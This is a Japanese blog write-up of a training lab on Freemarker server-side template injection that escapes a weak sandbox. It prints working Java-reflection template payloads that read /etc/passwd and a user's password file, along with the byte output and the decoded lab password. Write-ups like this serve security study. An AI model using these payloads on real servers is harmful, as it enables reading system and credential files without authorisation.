Shikata Ga Nai

Private? There is no such things.

Server-side template injection in a sandboxed environmentをやってみた

Hello there, ('ω')ノ

 

サンドボックス環境でのサーバ側のテンプレートインジェクションを。

このラボでは、Freemarkerテンプレートエンジンを使用していて。

サンドボックスの実装が不十分なため。

サーバー側のテンプレートインジェクションに対して脆弱で。

 

まずは、ログインして。

 

f:id:ThisIsOne:20210505134204p:plain

 

簡単なペイロードを挿入して動作確認を。

 <p>Hello ${4*5}</p>

 

f:id:ThisIsOne:20210505134358p:plain

 

${product.stock}という文字列からJavaのドキュメントを確認しながら。

オブジェクトで使用できるメソッドを見つけていって。

 https://docs.oracle.com/javase/jp/8/docs/api/java/lang/Object.html

 

f:id:ThisIsOne:20210505134708p:plain

 

 https://docs.oracle.com/javase/jp/8/docs/api/java/lang/Class.html

 

f:id:ThisIsOne:20210505134909p:plain

 

f:id:ThisIsOne:20210505135039p:plain

 

f:id:ThisIsOne:20210505135322p:plain

 

f:id:ThisIsOne:20210505135444p:plain

 

f:id:ThisIsOne:20210505135641p:plain

 

f:id:ThisIsOne:20210505135744p:plain

 

f:id:ThisIsOne:20210505135819p:plain

 

ここまでJavaの古いバージョンを見ていたので、SDK 9に切り替えて。

 

f:id:ThisIsOne:20210505145054p:plain

 

f:id:ThisIsOne:20210505145217p:plain

 

ここで寄り道して、下記のチートシートからペイロードを取得して。

 

 https://blog.cobalt.io/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68

 

f:id:ThisIsOne:20210505141905p:plain

 

下記を実行すると、passwdファイルが読み取れることが確認できたので。

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

f:id:ThisIsOne:20210505141738p:plain

 

目的のcarlosのファイルを指定すると。

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join("
 ")}

 

ファイルの内容が10進数のASCIIコードとして表示されて。 

 

 121 112 119 110 107 98 101 113 98 104 105 103 108 52 114 102 54 98 98 57

 

f:id:ThisIsOne:20210505142014p:plain

 

返されたバイトを下記でASCIIに変換して。

 https://rakko.tools/tools/74/

 

f:id:ThisIsOne:20210505142507p:plain

 

変換されたコードを入力すると。

 ypwnkbeqbhigl4rf6bb9

 

f:id:ThisIsOne:20210505142357p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210505142422p:plain

 

ちなみに、下記に変更すると"."で結合されて。

 join(".")

 

f:id:ThisIsOne:20210505145809p:plain

 

Best regards, (^^ゞ